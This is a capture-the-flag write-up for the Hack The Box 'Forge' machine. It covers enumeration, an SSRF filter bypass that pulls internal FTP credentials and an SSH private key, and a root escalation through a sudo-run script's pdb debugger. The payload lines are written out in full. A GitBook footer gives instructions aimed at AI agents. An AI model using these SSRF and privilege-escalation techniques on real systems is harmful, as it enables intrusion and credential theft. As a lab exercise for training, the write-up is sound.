> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box/htb-forge.md).
# HTB - Forge
## Enumeration and Foothold
### NMAP
```
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
Add domain to hosts.
i can upload form a URL possible situation for SSRF or File upload vulnerabilities.
```bash
──(ajay㉿kali)-[~]
└─$ wfuzz -u http://10.129.61.28 -H "Host: FUZZ.forge.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 26
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.61.28/
Total requests: 19966
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 1 L 4 W 27 Ch "admin"
000009532: 400 12 L 53 W 443 Ch "#www"
000010581: 400 12 L 53 W 443 Ch "#mail"
Total time: 102.5200
Processed Requests: 19966
Filtered Requests: 19963
Requests/sec.: 194.7521
```
add the domain file hosts.
Based on that enumeration, there are two interesting targets:
* The admin site which can only be accessed from localhost;
* The FTP server which is behind the firewall.
Requesting the admin website though upload form resulted in error
### SSRF
i can use other versions of mentioning the ip address
Decimal representation works.
With that let me try and see if i can get admin portal.
i need to bypass the filter.
known bypass is using caps
```bash
──(ajay㉿kali)-[~]
└─$ curl -s http://forge.htb/uploads/YJe67CGXcZLM54z6eMhH
Admin Portal
Welcome Admins!
```
There is a new directory called announcements.
Internal Ftp credentials leaked.
forge.htb's uploader fetches `admin.forge.htb/upload?u=ftp://...`, which fetches the internal FTP server and stores the result as an upload artifact you can read.
That said i can try to read the ssh keys.
```
url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@2130706433/.ssh/id_rsa&remote=1' http://forge.htb/upload | grep -oP 'uploads/\w+'
```
use the ssh key to login as user.
```
──(ajay㉿kali)-[~]
└─$ chmod 600 id_rsa
```
## Shell as User
```bash
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
```
```bash
user@forge:~$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
user@forge:~$
```
The user can run this python script as root without supplying any password this is a possible privilege escalation as the code is insecure.
```bash
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
```
If the script throws an exception while running, it drops into `pdb.post_mortem()` — an **interactive Python debugger** on whatever terminal is running the script. If you ran it via `sudo`, that debugger session is running as root, in your terminal, connected to your input/output. `pdb` lets you execute arbitrary Python, including things like:
```bash
import os
os.system('/bin/bash')
```
So when ever a wrong password is entered the script is dropped in to python debugger.
Lets first run the script
```bash
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:42807
```
now ssh again into user on another terminal to access the port the script is listening.
and send wrong password.
```bash
user@forge:~$ printf '\xff' | nc 127.0.0.1 42807
Enter the secret passsword:
```
now back on the script running shell it drops into pdb.
```bash
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:42807
'utf-8' codec can't decode byte 0xff in position 0: invalid start byte
> /opt/remote-manage.py(17)()
-> if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
(Pdb)
```
that said i run the exec command to drop into root shell.
## Shell as Root
```bash
(Pdb) exec("import pty; pty.spawn('/bin/bash')")
root@forge:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@forge:/home/user# whoami
root
root@forge:/home/user#
root@forge:/home/user# cd /root
root@forge:~# ls
clean-uploads.sh root.txt snap
root@forge:~# cat root.txt
d6d7067b276a6104d9c9d04896091a68
root@forge:~#
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box/htb-forge.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
